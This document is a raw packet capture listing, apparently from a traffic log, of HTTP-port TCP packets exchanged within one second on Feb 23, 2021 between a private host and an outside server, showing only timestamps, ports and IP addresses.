Feb 23, 2021 10:04:53.693173885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693200111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693217039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693226099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693253040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693269014 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693281889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693308115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693324089 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693334103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693358898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693373919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693403959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693432093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693453074 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693456888 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693483114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693500996 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693509102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693538904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693552017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693600893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693628073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693648100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693653107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693681955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693697929 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693707943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693732977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693752050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693758965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693783998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693803072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693809032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693830967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693849087 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.694298983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694328070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694353104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694379091 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.694380999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694407940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694411039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.694430113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694456100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.694458961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.694514990 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.697001934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.697720051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.698194981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.704140902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.704174042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.704189062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.704324961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.705845118 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.730385065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730413914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730427027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730439901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730457067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730473042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730489016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.730551004 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.740792990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740823030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740835905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740854025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740870953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740888119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740905046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740925074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740947008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740958929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740977049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.740983963 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.740994930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741013050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741030931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741048098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741067886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741075993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741090059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741107941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741110086 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741125107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741142035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741147041 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741159916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741174936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741177082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741197109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741216898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741224051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741235971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741252899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741266012 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741269112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741288900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741297007 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741307974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741327047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741328001 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741343975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741355896 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741364956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741404057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741417885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741427898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741446972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741450071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741468906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741489887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741508007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741523981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741527081 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741542101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741559982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741575003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741575003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741591930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741609097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741616011 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741628885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741645098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741647005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741664886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741674900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741681099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741698980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741714954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741719961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741730928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741746902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741766930 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741766930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741787910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741802931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741810083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741820097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741837025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.741843939 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.741882086 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742094994 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742161989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742178917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742196083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742208004 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742213964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742232084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742240906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742249012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742265940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742286921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742288113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742305040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742316961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742322922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742341042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742357969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742369890 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742374897 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742388964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742404938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742418051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742420912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742439985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742451906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742453098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742470026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742484093 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742486954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742505074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742516041 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742522001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742539883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742547989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742554903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742573977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742579937 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742592096 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742608070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742615938 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742624044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742640018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742647886 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742657900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742679119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742683887 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742697954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742716074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742733955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742743015 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742750883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742768049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742784023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742788076 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742800951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742819071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742821932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742842913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742847919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742861032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742878914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742882013 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742912054 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742921114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742939949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742954969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742969990 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.742973089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.742990017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743002892 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743006945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743026972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743043900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743048906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743065119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743078947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743083954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743102074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743108988 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743119001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743135929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743159056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743159056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743179083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743196011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743230104 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743232012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743249893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743257999 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743266106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743282080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743288040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743300915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743318081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743325949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743335009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743350983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743354082 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743369102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743381977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743381977 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743398905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743415117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743424892 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743431091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743447065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743460894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743465900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743475914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743490934 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743499041 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743524075 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743536949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743556976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743573904 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743577957 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743594885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743613005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743623018 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743632078 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743647099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743654966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743664026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743680000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743685961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743700981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743717909 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743719101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743736982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743752956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743771076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743782997 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743788958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743808031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743824959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743833065 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743846893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743864059 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743864059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743881941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743897915 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743897915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743916988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743932962 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743949890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743957996 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.743968010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743988037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.743999958 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744004965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744021893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744030952 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744039059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744055986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744065046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744071960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744090080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744106054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744107008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744126081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744138002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744143009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744159937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744177103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744177103 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744194031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744209051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744226933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.744235992 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744277954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.744939089 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.779248953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779297113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779316902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779381037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779407978 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779434919 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779459000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.779493093 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.779555082 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.779562950 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.790621996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790674925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790700912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790725946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790745020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790764093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790788889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790807009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790833950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790858030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790879965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790904045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790927887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790947914 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.790951967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790978909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.790997028 CET	80	49774	94.103.94.2	192.168.2.6
